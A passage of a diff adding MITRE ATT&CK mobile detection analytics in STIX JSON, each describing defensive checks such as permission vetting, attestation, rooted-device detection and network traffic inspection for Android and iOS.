"x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--72604d06-ac1b-4d57-adb4-f303f2f82055", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0681#AN1787", + "external_id": "AN1787" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1787", + "description": "The user can view permissions granted to an application in device settings. \nApplication vetting services typically flag permissions requested by an application, which can be reviewed by an administrator. Certain dangerous permissions, such as `RECEIVE_SMS`, could receive additional scrutiny.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--36cb5f92-996c-42f4-be7e-43c5e21eee2e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0682#AN1788", + "external_id": "AN1788" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1788", + "description": "On Android, the user is presented with a permissions popup when an application requests access to external device storage.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e2f72131-14d1-411f-8e8c-aa3453dd5456", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0048442c-54c9-4816-a2ba-5e9d376d0bf2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0682#AN1789", + "external_id": "AN1789" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1789", + "description": "On Android, the user is presented with a permissions popup when an application requests access to external device storage.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e2f72131-14d1-411f-8e8c-aa3453dd5456", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6a3e1244-3832-4523-81bc-56598a280b16", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0683#AN1790", + "external_id": "AN1790" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1790", + "description": "Applications could be vetted for their use of the clipboard manager APIs with extra scrutiny given to application that make use of them.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cd82f432-ee4e-4df0-8500-e381b36479ec", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-24 14:49:38.837000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0684#AN1791", + "external_id": "AN1791" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1791", + "description": "Mobile security products may provide URL inspection services that could determine if a domain being visited is malicious.\nEnterprises may be able to detect anomalous traffic originating from mobile devices, which could indicate compromise.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--07b782b2-7e86-424a-9395-0a862d9b25c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0684#AN1792", + "external_id": "AN1792" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1792", + "description": "Mobile security products may provide URL inspection services that could determine if a domain being visited is malicious.\nEnterprises may be able to detect anomalous traffic originating from mobile devices, which could indicate compromise.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d11da2b2-1552-4a54-b268-3df1cb877cf6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0685#AN1793", + "external_id": "AN1793" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1793", + "description": "Abuse of standard application protocols can be difficult to detect as many legitimate mobile applications leverage such protocols for language-specific APIs. Enterprises may be better served focusing on detection at other stages of adversarial behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9396ec3f-2189-44d1-9c88-53ee3603236c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0685#AN1794", + "external_id": "AN1794" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1794", + "description": "Abuse of standard application protocols can be difficult to detect as many legitimate mobile applications leverage such protocols for language-specific APIs. Enterprises may be better served focusing on detection at other stages of adversarial behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--421fc6dc-1275-4eca-9950-150ad27d9bfd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0686#AN1795", + "external_id": "AN1795" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1795", + "description": "Application vetting services could look for `android.permission.READ_SMS` in an Android application\u2019s manifest. Most applications do not need access to SMS messages, so extra scrutiny could be applied to those that request it. \nOn Android, the user can manage which applications have permission to access SMS messages through the device settings screen, revoking the permission if necessary.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b1674dca-753f-45d9-b0de-4c68e459f046", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0686#AN1796", + "external_id": "AN1796" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1796", + "description": "Application vetting services could look for `android.permission.READ_SMS` in an Android application\u2019s manifest. Most applications do not need access to SMS messages, so extra scrutiny could be applied to those that request it. \nOn Android, the user can manage which applications have permission to access SMS messages through the device settings screen, revoking the permission if necessary.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e13d662d-a496-4997-b26a-39e71eb17fc2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0687#AN1797", + "external_id": "AN1797" + }, + { + "source_name": "Samsung Knox Mobile Threat Defense", + "description": "Samsung Knox Partner Program. (n.d.). Knox for Mobile Threat Defense. Retrieved March 30, 2022.", + "url": "https://partner.samsungknox.com/mtd" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1797", + "description": "Application vetting can detect many techniques associated with impairing device defenses.(Citation: Samsung Knox Mobile Threat Defense)\nMobile security products integrated with Samsung Knox for Mobile Threat Defense can monitor processes to see if security tools are killed or stop running.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f", + "name": "Process", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f1e295df-0598-4263-b7c4-737d66660bbe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0688#AN1798", + "external_id": "AN1798" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1798", + "description": "If the user sees a notification with text they do not recognize, they should review their list of installed applications.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--bf0ff551-a5a7-40e5-bff9-f9405011b1f4", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3d12c26c-740d-4393-9659-52a424586b20", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0688#AN1799", + "external_id": "AN1799" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1799", + "description": "If the user sees a notification with text they do not recognize, they should review their list of installed applications.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--bf0ff551-a5a7-40e5-bff9-f9405011b1f4", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--90052e39-40c3-4194-a2a2-fc240639ab0f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0689#AN1800", + "external_id": "AN1800" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1800", + "description": "Mobile threat defense agents could detect unauthorized operating system modifications by using attestation. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "Sensor Health", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--176d2eda-e41b-48d0-b66a-daaccb5a77cd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0690#AN1801", + "external_id": "AN1801" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1801", + "description": "Application vetting services could look for use of the accessibility service or features that typically require root access.\nThe user can see a list of applications that can use accessibility services in the device settings.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a69cefd7-02e8-4840-a26e-2ea0b6a95812", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0691#AN1802", + "external_id": "AN1802" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1802", + "description": "Mobile security products can often alert the user if their device is vulnerable to known exploits.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "Sensor Health", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a8133527-5402-49e0-a9f1-14ee4fb2dd3f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0691#AN1803", + "external_id": "AN1803" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1803", + "description": "Mobile security products can often alert the user if their device is vulnerable to known exploits.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "Sensor Health", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5c5225c4-2d35-431e-830d-ea1cc649c6ba", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0692#AN1804", + "external_id": "AN1804" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1804", + "description": "Mobile security products can typically detect rooted devices, which is an indication that Process Discovery is possible. Application vetting could potentially detect when applications attempt to abuse root access or root the system itself. Further, application vetting services could look for attempted usage of legacy process discovery mechanisms, such as the usage of `ps` or inspection of the `/proc` directory.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5d07c07e-4cde-41b9-a03e-94be43ca9bb8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0692#AN1805", + "external_id": "AN1805" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1805", + "description": "Mobile security products can typically detect rooted devices, which is an indication that Process Discovery is possible. Application vetting could potentially detect when applications attempt to abuse root access or root the system itself. Further, application vetting services could look for attempted usage of legacy process discovery mechanisms, such as the usage of `ps` or inspection of the `/proc` directory.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--75eaee42-f7b5-4792-9611-74626bd98838", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0693#AN1806", + "external_id": "AN1806" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1806", + "description": "The user can view a list of active device administrators in the device settings.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--09ea8707-d76c-44ae-b077-19a8949faa90", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0694#AN1807", + "external_id": "AN1807" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1807", + "description": "Mobile threat defense agents could detect unauthorized operating system modifications by using attestation.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "Sensor Health", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4476a312-d2c9-459e-96a3-53ac0b676c52", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0695#AN1808", + "external_id": "AN1808" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1808", + "description": "The user can view which applications have permission to use the camera through the device settings screen, where the user can then choose to revoke the permissions.\nDuring the vetting process, applications using the Android permission `android.permission.CAMERA`, or the iOS `NSCameraUsageDescription` plist entry could be given closer scrutiny. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e6c05bf0-e6d6-46f9-ba38-11b58fbf2f26", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0695#AN1809", + "external_id": "AN1809" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1809", + "description": "The user can view which applications have permission to use the camera through the device settings screen, where the user can then choose to revoke the permissions.\nDuring the vetting process, applications using the Android permission `android.permission.CAMERA`, or the iOS `NSCameraUsageDescription` plist entry could be given closer scrutiny. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + 